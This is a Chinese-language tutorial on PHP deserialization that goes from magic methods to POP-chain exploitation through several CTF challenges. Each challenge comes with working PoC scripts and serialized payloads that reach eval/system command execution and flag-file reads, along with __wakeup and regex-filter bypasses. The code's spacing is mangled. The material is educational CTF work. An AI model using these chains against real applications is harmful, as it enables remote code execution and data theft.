$this:表示当前对象(在类的方法内部使用,指向当前实例化的对象本身)。$this->middle:访问当前对象($this)的 middle 属性,而这个 middle 属性的值本身是一个对象(否则无法继续调用 ->hs)。$this->middle->hs:访问 middle 对象的 hs 属性(或方法)。$this->start
$this 是一个特殊的关键字,仅在类的成员方法内部使用,用于指代当前对象(即调用该方法的实例)。-> 是对象操作符,用于访问对象的属性或调用对象的方法。start 是当前类中定义的一个成员变量(属性)的名称。在 PHP 类中,私有属性(Private Property) 是指被 private 关键字修饰的成员变量,其核心特性是仅能在定义它的类内部访问,类的外部、子类(继承该类的类)都无法直接访问。这种特性用于封装类的内部状态,避免外部随意修改,保证数据的安全性和完整性。
classPerson{// 定义私有属性:姓名和年龄(仅允许类内部操作)private $name;private $age;// 类内部方法:给私有属性赋值(提供外部设置的入口)publicfunctionsetInfo($name, $age){// 内部可以直接访问私有属性$this->name = $name;// 可以在内部对数据进行验证(体现封装的意义)if ($age >= 0 && $age <= 150) {$this->age = $age; } else {$this->age = 0; } }// 类内部方法:获取私有属性的值(提供外部读取的入口)publicfunctiongetInfo(){return"姓名:{$this->name},年龄:{$this->age}"; }}// 实例化对象$person = new Person();// 尝试外部直接访问私有属性(报错)// echo $person->name; // Fatal error: Cannot access private property Person::$name// 必须通过类提供的公共方法操作私有属性$person->setInfo("张三", 25);echo $person->getInfo(); // 输出:姓名:张三,年龄:25$name 和 $age 是私有属性,外部无法直接修改,但可以通过类提供的 setInfo() 方法间接设置,且方法内部可以对数据进行验证(如年龄范围),这就是封装的作用。
序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。php 将数据序列化和反序列化会用到两个函数:serialize 将对象格式化成有序的字符串;unserialize 将字符串还原成原来的对象。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
在 PHP 中将对象、数组、变量等转化为字符串,这样便于将数据保存到数据库或者文件中,这个过程称之为序列化。当需要使用这些数据时,就需要用反序列化就是将字符串还原回原来的样子,也就是序列化的逆过程。PHP 提供了 serialize 和 unserialize 函数来支持这 2 种操作,当 unserialize 函数的参数被用户控制时就会形成反序列化漏洞。
phpclass a_object{public $id = 123;}$a = new a_object;$a_ser=serialize($a);echo $a_ser;echo'<br>';print_r(unserialize($a_ser));输出结果如下,注意到类在序列化后的格式为“变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}”。

<?phpclassobject{public $team = 'joker';private $team_name = 'hahaha';protected $team_group = 'biubiu';functionhahaha(){$this->$team_members = '奥力给'; }}$object = new object();echo serialize($object);?>
__construct() //对象被实例化时触发__wakeup() //执行unserialize()时,先会调用这个函数__sleep() //执行serialize()时,先会调用这个函数__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当尝试将对象调用为函数时触发__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。
classExample{public $a = 1;public $b = 2;publicfunction__wakeup(){$this->a *= 2;$this->b *= 2; }}$serialized = serialize(new Example());$unserialized = unserialize($serialized);var_dump($unserialized);在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 b。在 __wakeup() 方法中,我们将 b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本,输出将是:
object(Example)#2 (2) { ["a"]=> int(2) ["b"]=> int(4)}__construct() 方法是PHP类的构造器方法,当从类创建对象时会自动调用该方法。它通常用作构造函数方法,这它负责初始化对象的属性并执行在使用对象之前所需的任何设置任务。
classMyClass {private $name;publicfunction__construct($name) { $this->name = $name; } public function getName() { return $this->name; }}$obj = new MyClass('John');echo $obj->getName(); // Outputs "John"在此示例中, __construct() 方法接受一个 name参数,然后将其分配给对象的name 参数,然后将其分配给对象的 name参数,然后将其分配给对象的name 属性。 getName() 方法检索并返回 $name 属性的值。 使用 __construct() 方法可以确保在从类创建对象时执行必要的设置任务,从而提供一种方便的方法来初始化对象属性并在使用对象之前执行任何其他所需的操作。
__destruct() 魔术方法用于定义当不再引用对象或脚本执行结束时应执行的清理或完成任务。当对象即将被销毁时,PHP 会自动调用它。
请务必注意, __destruct() 方法由 PHP 自动调用,您无需显式调用它。当一个对象不再被引用或脚本执行结束时,它基于 PHP 的垃圾回收机制被触发。
打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。如果没有这个方法,那么echo一个对象时,就会报错Object of class Account could not be converted to string,实际上这是一个类型匹配失败的错误。不过仍然可以用print_r()和var_dump()函数输出一个对象。当然__toString()是可以定制的,所提供的信息和样式更加丰富。
这是 PHP 的魔术方法之一,当对象被当作字符串使用时(例如 echo 输出、字符串拼接等),会自动调用该方法,并返回其返回值作为字符串结果。
列子1:
<?phpclassAccount{public $user = 1;private $pwd = 2;//自定义的格式化输出方法publicfunction__toString(){return"当前对象的用户名是$this->user,密码是$this->user"; }}$a = new Account();echo $a;输出
当前对象的用户名是1,密码是1例子2:
<?classw22m{public $w00m;publicfunction__destruct(){echo$this->w00m; }}classw33m{publicfunction__toString(){echo"11111111";return0; }}$a = new w22m();$b = new w33m();$a->w00m = $b;?>输出
111111110在 PHP 中,__get() 是一个魔术方法(Magic Method),主要作用是:当试图访问一个未定义或不可访问(如私有 private、受保护 protected)的对象属性时,PHP 会自动调用该方法。
classUser{private $name; // 私有属性// 构造方法初始化 namepublicfunction__construct($name){$this->name = $name; }// 魔术方法 __get()publicfunction__get($property){// 判断属性是否存在if (property_exists($this, $property)) {// 若为私有属性,返回其值(实现间接访问)return$this->$property; } else {// 未定义的属性,返回提示return"属性 '$property' 不存在!"; } }}$user = new User("张三");// 访问私有属性 name(本应不可直接访问,通过 __get() 间接获取)echo $user->name; // 输出:张三// 访问未定义的属性 ageecho $user->age; // 输出:属性 'age' 不存在!在 PHP 中,__call 是一个魔术方法(Magic Method),用于处理对象调用不存在或不可访问的方法时的情况。它的作用是在方法调用失败时提供一个 “兜底” 处理机制,避免直接抛出错误,增强代码的灵活性和容错性。
publicfunction__call(string $name, array $arguments): mixed$name:被调用的不存在 / 不可访问的方法名(字符串)。$arguments:调用该方法时传递的参数列表(数组形式,按参数顺序存储)。当对象调用一个未定义或没有访问权限(如私有方法)的方法时,PHP 会自动触发该对象所属类的 __call 方法,将方法名和参数传递给它,由 __call 进行后续处理(例如:日志记录、动态生成方法逻辑、返回默认值等)。
classDemo{// 定义 __call 魔术方法publicfunction__call($methodName, $args){echo"你调用了不存在的方法:{$methodName},参数是:" . implode(', ', $args); }}$obj = new Demo();$obj->test(); // 调用不存在的方法 test()$obj->hello("PHP", "魔术方法"); // 调用不存在的方法 hello()输出
你调用了不存在的方法:test,参数是:你调用了不存在的方法:hello,参数是:PHP, 魔术方法在 PHP 中,__invoke 是一个魔术方法,用于使对象可以像函数一样被调用。当一个对象被当作函数来调用时(即在对象名后加括号 ()),PHP 会自动触发该对象所属类中的 __invoke 方法。
public function __invoke([参数列表]): mixed__invoke 方法。classGreet{// 定义 __invoke 方法publicfunction__invoke($name){return"Hello, {$name}!"; }}// 创建对象$greetObj = new Greet();// 将对象当作函数调用(自动触发 __invoke)echo $greetObj("PHP"); // 输出:Hello, PHP!影响范围:
正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。 二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
<?phphighlight_file(__FILE__);classtest{protected $ClassObj;function__construct(){$this->ClassObj = new normal(); }function__destruct(){$this->ClassObj->action(); }}classnormal{functionaction(){echo"HelloWorld"; }}classevil{private $data;functionaction(){eval($this->data); }}unserialize($_GET['a']);?>比如说上面这个例子,危险函数应该是evil类中的action方法,里面有个eval,但action方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test类中的__destruct()调用了action方法,但在__construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil类的对象,那它自然调用的就是evil类中的action方法了。正常思路
<?phpclasstest{protected $ClassObj;}classevil{private $data='phpinfo();';}$a = new evil();$b = new test();$b -> ClassObj = $a;echo serialize(urlencode($a));?>
但是会报错ClassObj属性是protected属性,不能在类外面访问它。所以说我们得在test类里面写一个__construct()来完成这个操作:
<?phpclasstest{protected $ClassObj;function__construct(){$this->ClassObj = new evil(); }}classevil{private $data='phpinfo();';}$a = new test();echo urlencode(serialize($a));?><?phphighlight_file(__FILE__);classHello{public $source;public $str;publicfunction__construct($name){$this->str=$name; }publicfunction__destruct(){$this->source=$this->str;echo$this->source; }}classShow{public $source;public $str;publicfunction__toString(){ $content = $this->str['str']->source;return $content; }}classUwant{public $params;publicfunction__construct(){$this->params='phpinfo();'; }publicfunction__get($key){return$this->getshell($this->params); }publicfunctiongetshell($value){eval($this->params); }}$a = $_GET['a'];unserialize($a);?>头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
<?phpclassHello{public $source;public $str;publicfunction__construct($name){$this->str=$name; }publicfunction__destruct(){$this->source=$this->str;echo$this->source; }}classShow{public $source;public $str;publicfunction__toString(){ $content = $this->str['str']->source;return $content; }}$a = new Hello("Show");$b = new Show();$a ->str = $b;$a->source = $b;$b->str['str'] = new stdClass(); $b->str['str']->source = "Hello World";?>输出Hello World最关键的是toString函数,str属性必须是一个类,因为是通过->调用类的source属性,如果不是类会报错。
public function __toString() { $content = $this->str['str']->source; return $content; }因此我们在指定str属性的时候,可以把Uwant给他,然后调用Uwant类的source属性,而此时Uwant类是没有source属性的刚好能出发get函数。因此最终的poc为
<?phpclassHello{public $source;public $str;publicfunction__construct($name){$this->str=$name; }publicfunction__destruct(){$this->source=$this->str;echo$this->source; }}classShow{public $source;public $str;publicfunction__toString(){ $content = $this->str['str']->source;return $content; }}classUwant{public $params;publicfunction__construct(){$this->params='phpinfo();'; }publicfunction__get($key){return$this->getshell($this->params); }publicfunctiongetshell($value){eval($this->params); }}$a = new Hello("Show");$b = new Show();$a ->str = $b;$a->source = $b;$c = new Uwant();$c->params = "system('ls /');";$b->str['str'] = $c;?>
<?phpclassentrance{public $start;function__construct($start){$this->start = $start; }function__destruct(){$this->start->helloworld(); }}classspringboard{public $middle;function__call($name, $arguments){echo$this->middle->hs; }}classevil{public $end;function__construct($end){$this->end = $end; }function__get($Attribute){eval($this->end); }}if(isset($_GET['serialize'])) { unserialize($_GET['serialize']);} else { highlight_file(__FILE__);}__call和__get的区别:
__get | $name | ||
__call | $name 和参数数组 $arguments |
1、触发evil类的__get函数。 2、触发springboard的__call函数。
<?phpclassentrance{public $start;function__construct($start){$this->start = $start; }function__destruct(){$this->start->helloworld(); }}classspringboard{public $middle;function__call($name, $arguments){echo$this->middle->hs; }}classevil{public $end;function__construct($end){$this->end = $end; }function__get($Attribute){eval($this->end); }}$b = new springboard();$a = new entrance($b);$b->middle = new evil("system('ls');");?><?php//flag is in flag.phperror_reporting(0); classModifier{private $var;publicfunctionappend($value){include($value);echo $flag; }publicfunction__invoke(){ $this->append($this->var); }}classShow{public $source;public $str;publicfunction__toString(){ return$this->str->source; }publicfunction__wakeup(){ echo$this->source; }}classTest{public $p;publicfunction__construct(){ $this->p = array(); }publicfunction__get($key){ $function = $this->p;return $function(); }}if(isset($_GET['pop'])){ unserialize($_GET['pop']);}?>1、Modifier的append函数,执行include。 2、Modifier的__invoke函数,执行append。 3、Test的__get函数,执行Modifier的__invoke函数。 3、Show的__wakeup函数,执行Test的__get函数。
<?phpclassShow{public $source;public $str;publicfunction__toString(){return$this->str->source; }publicfunction__wakeup(){echo$this->source; }}classTest{public $p;publicfunction__construct(){$this->p = array(); }publicfunction__get($key){ $function = $this->p;return $function(); }}classModifier{public $var;publicfunctionappend($value){include($value);echo $flag; }publicfunction__invoke(){$this->append($this->var); }}$show = new Show;$show->source=$show;$test = new Test;$show->str=$test;$modi=new Modifier;$test->p=$modi;$modi->var="flag.php";echo serialize($show);?>输出
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:8:"flag.php";}}}此时需要把var改成私有属性
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"%00Modifier%00var";s:8:"flag.php";}}}或者是在poc里直接在类中给私有属性赋值
classModifier{private $var = "flag.php"; //先修改为public,方便调用publicfunctionappend($value){include($value);echo $flag; }publicfunction__invoke(){ //把对象当成函数调用触发$this->append($this->var); }}例题链接:[SWPUCTF 2021 新生赛]ez_unserialize
<?phperror_reporting(0);show_source("cl45s.php");classwllm{public $admin;public $passwd;publicfunction__construct(){$this->admin ="user";$this->passwd = "123456"; }publicfunction__destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag; }else{echo$this->admin;echo$this->passwd;echo"Just a bit more!"; } }}$p = $_GET['p'];unserialize($p);?>分析源代码发现当admin=admin、passwd=ctf时,即可包含获取flag。构造poc
<?phpclasswllm{public $admin = "admin";public $passwd = "ctf";}$p=new wllm();echo serialize($p);?>
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
例题链接:[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?phpclassX{public $x = __FILE__;function__construct($x){$this->x = $x; }function__wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__; } }function__destruct(){ highlight_file($this->x);//flag is in fllllllag.php }}if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']);} else { highlight_file(__FILE__);}分析源码发现存在__destruct函数讲变量x设置为flag文件名字即可,但是需要要绕过__wakeup函数。
<?phpclassX{public $x = "fllllllag.php";}$n = new X();echo serialize($n);?>生成序列化数据
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}进行__wakeup绕过,修改属性大于2即可
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
题目来源:[SWPUCTF 2021 新生赛]pop
<?phperror_reporting(0);show_source("index.php");classw44m{private $admin = 'aaa';protected $passwd = '123456';publicfunctionGetflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag; }else{echo$this->admin;echo$this->passwd;echo'nono'; } }}classw22m{public $w00m;publicfunction__destruct(){echo$this->w00m; }}classw33m{public $w00m;public $w22m;publicfunction__toString(){$this->w00m->{$this->w22m}();return0; }}$w00m = $_GET['w00m'];unserialize($w00m);?>构造pop链第一步,寻找链头:
链头特征:能够被输入内容的并且能被用户所控制的
$w00m = $_GET['w00m'];unserialize($w00m);w00m是能被输入内容的,并且能被我们控制,即我们可以输入任意的内容而不被限制,所以w00m就是链头 构造pop链第二步,寻找链尾:
链尾特征:可以读取文件或者能够执行命令的
classw44m{private $admin = 'aaa';protected $passwd = '123456';publicfunctionGetflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag; }else{echo$this->admin;echo$this->passwd;echo'nono'; } }}include('flag.php')echo $flag能够读取文件,输出flag,这就是链尾构造pop链第三步,反推
1、触发w44m类的Getflag函数:执行命令。
2、触发w33m类的__toString函数:执行Getflag函数。
3、触发w22m的__destruct函数:执行__toString函数。
<?phpclassw44m{private $admin = 'w44m';protected $passwd = '08067';}classw22m{public $w00m;publicfunction__destruct(){echo$this->w00m; }}classw33m{public $w00m;public $w22m;publicfunction__toString(){$this->w00m->{$this->w22m}();return0; }}$a = new w22m();$b = new w33m();$c = new w44m();$a->w00m = $b;$b->w22m = "Getflag";$b->w00m = $c;echo serialize($a);echo"\n";echo urlencode(serialize($a));?><?php// flag 在 flag.phperror_reporting(0);classsercet{private $file='index.php';function__destruct(){if (strlen($this->file) < 10) readfile($this->file, true); }}if (isset($_GET['s'])) unserialize($_GET['s']);else highlight_file(__FILE__);?>Poc
<?php// flag 在 flag.phperror_reporting(0);classsercet{private $file='flag.php';function__destruct(){if (strlen($this->file) < 10) readfile($this->file, true); }}$a = new sercet();echo serialize($a);?>O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}<?phpclassxctf{public $flag = '111';publicfunction__wakeup(){exit('bad requests'); }?>Poc
<?phpclassxctf{public $flag = '111';publicfunction__wakeup(){exit('bad requests'); }}$a=new xctf;echo serialize($a);?>修改属性个数
O:4:"xctf":2:{s:4:"flag";s:3:"111";}<?phpclassDemo{ private $file = 'index.php';publicfunction__construct($file){ $this->file = $file; }function__destruct(){ echo @highlight_file($this->file, true); }function__wakeup(){ if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } }if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); }?>绕过wakeup函数
<?phpclassDemo{private $file = 'index.php';publicfunction__construct($file){$this->file = $file; }function__destruct(){echo @highlight_file($this->file, true); }function__wakeup(){if ($this->file != 'index.php') {$this->file = 'index.php'; } }}$obj=new Demo('fl4g.php');$out=serialize($obj);$out=str_replace('O:4',"O:+4",$out);$out=str_replace(":1:",":2:",$out);$out=base64_encode($out);echo($out);?><?php error_reporting(0); classhappy{ protected $file='demo1.php'; publicfunction__construct($file){ $this->file=$file; } function__destruct(){ if(!empty($this->file)) {if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) show_source(dirname(__FILE__).'/'.$this->file);elsedie('Wrong filename.'); } } function__wakeup(){ $this->file='demo1.php'; } publicfunction__toString(){return''; } }if (!isset($_GET['file'])){ show_source('demo1.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?><!--password in flag.php--> poc
<?phperror_reporting(0); classhappy{protected $file='flag.php';publicfunction__construct($file){$this->file=$file; }function__destruct(){if(!empty($this->file)) {if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) show_source(dirname(__FILE__).'/'.$this->file); elsedie('Wrong filename.'); } }function__wakeup(){$this->file='demo1.php'; }publicfunction__toString(){return''; }}$a = new happy("flag.php");echo serialize($a);$s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';echo"\n";echo base64_encode($s);?><?phpshow_source('demo2.php');classtest1{public $varr;function__construct(){$this->varr = "demo2.php"; }function__destruct(){if(file_exists($this->varr)){echo"<br />文件".$this->varr."存在<br />"; } }}classtest2{public $varr;public $obj;function__construct(){$this->varr='123456';$this->obj=null; }function__toString(){$this->obj->execute();return$this->varr; }function__destruct(){echo"<br />这是f2的析构函数<br />"; }}classtest3{public $varr;functionexecute(){eval($this->varr); }function__destruct(){echo"<br />这是f3的析构函数<br />"; }}if (isset($_GET['x'])) { unserialize($_GET['x']); }?>poc
<?phpclasstest3{public $varr;functionexecute(){eval($this->varr); }function__destruct(){echo"<br />这是f3的析构函数<br />"; }}classtest1{public $varr;function__construct(){$this->varr = "demo2.php"; }function__destruct(){if(file_exists($this->varr)){echo"<br />文件".$this->varr."存在<br />"; } }}classtest2{public $varr;public $obj;function__construct(){$this->varr='123456';$this->obj=null; }function__toString(){$this->obj->execute();return$this->varr; }function__destruct(){echo"<br />这是f2的析构函数<br />"; }}$a = new test3();$a->varr = "system('ls');";$b = new test2();$b->obj = $a;$c= new test1();$c->varr = $b;echo serialize($c);echo"\n";echo urlencode(serialize($c));?><?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!classModifier{protected $var;publicfunctionappend($value){include($value); }publicfunction__invoke(){$this->append($this->var); }}classShow{public $source;public $str;publicfunction__construct($file='demo3.php'){$this->source = $file;echo'Welcome to '.$this->source."<br>"; }publicfunction__toString(){return$this->str->source; }publicfunction__wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo"hacker";$this->source = "demo3.php"; } }}classTest{public $p;publicfunction__construct(){$this->p = array(); }publicfunction__get($key){ $function = $this->p;return $function(); }}if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);}Poc
<?phpclassModifier{protected $var="flag.php";publicfunctionappend($value){include($value); }publicfunction__invoke(){$this->append($this->var); }}classTest{public $p;publicfunction__construct(){$this->p = array(); }publicfunction__get($key){ $function = $this->p;return $function(); }}classShow{public $source;public $str;publicfunction__construct($file='demo3.php'){$this->source = $file;echo'Welcome to '.$this->source."<br>"; }publicfunction__toString(){return"2222"; }publicfunction__wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo"hacker";$this->source = "demo3.php"; } }}$a = new Show();$b = new Test();$c = new Modifier();$b->p = $c;$a->str = $b;$e = new Show($a);echo serialize($e);?><?phpheader("Content-type:text/html;charset=utf-8");classMason{public $qwe;public $bro;publicfunction__wakeup(){ $temp=$this->bro; $temp(); }publicfunction__construct(){$this->qwe = "123456";$this->bro = "123456"; }}classEthan{public $aer;public $asd;publicfunction__invoke(){ serialize($this->asd); }publicfunction__construct(){$this->aer = "123456";$this->asd = "123456"; }}classChloe{public $power;public $dfg;public $hjk;public $say;public $fn;publicfunction__construct(){$this->hjk = "123456";$this->dfg = "123456";$this->power = "123456";$this->say = "I want sleep"; }publicfunction__sleep(){print$this->say;return$this->power->hello; }publicfunction__toString(){$this->fu =newclass() {public $parent;publicfunction__construct(){$this->parent = "123456"; }publicfunctionbackdoor(){ system("cat flag.php"); } };return"I want sleep"; }}classGrace{public $ou;publicfunction__construct(){$this->ou = "123456"; }publicfunction__get($good){ $temp = $this->ou; $temp(); }}if (isset($_GET['hjkl'])) { $hjkl = $_GET['hjkl']; unserialize($hjkl);}else { highlight_file('index.php');}poc
<?phpheader("Content-type:text/html;charset=utf-8");classMason{public $qwe;public $bro;publicfunction__wakeup(){ $temp=$this->bro; $temp(); }publicfunction__construct(){$this->qwe = "123456";$this->bro = "123456"; }}classEthan{public $aer;public $asd;publicfunction__invoke(){ serialize($this->asd); }publicfunction__construct(){$this->aer = "123456";$this->asd = "123456"; }}classChloe{public $power;public $dfg;public $hjk;public $say;public $fn;publicfunction__construct(){$this->hjk = "123456";$this->dfg = "123456";$this->power = "123456";$this->say = "I want sleep"; }publicfunction__sleep(){echo"11111";print$this->say;return$this->power->hello; }publicfunction__toString(){$this->fu =newclass() {public $parent;publicfunction__construct(){$this->parent = "123456"; }publicfunctionbackdoor(){ system("cat /flag"); } };return"I want sleep"; }}classGrace{public $ou;publicfunction__construct(){$this->ou = "123456"; }publicfunction__get($good){ $temp = $this->ou; $temp(); }}$a = new Mason();$b = new Ethan();$c = new Chloe();$d = new chloe();$c->say = $d;$a->bro = $b;$b->asd = $c;$x = new Mason();$y = new Ethan();$z = new Chloe();$k = new Grace();$k-> ou = ['class@anonymous\0/var/www/html/index.php:60$0',"backdoor"];$x->bro = $y;$y->asd = $z;$z->power = $k;$arr = [$a,$k];echo serialize($arr);echo"\n";echo urlencode(serialize($arr));?>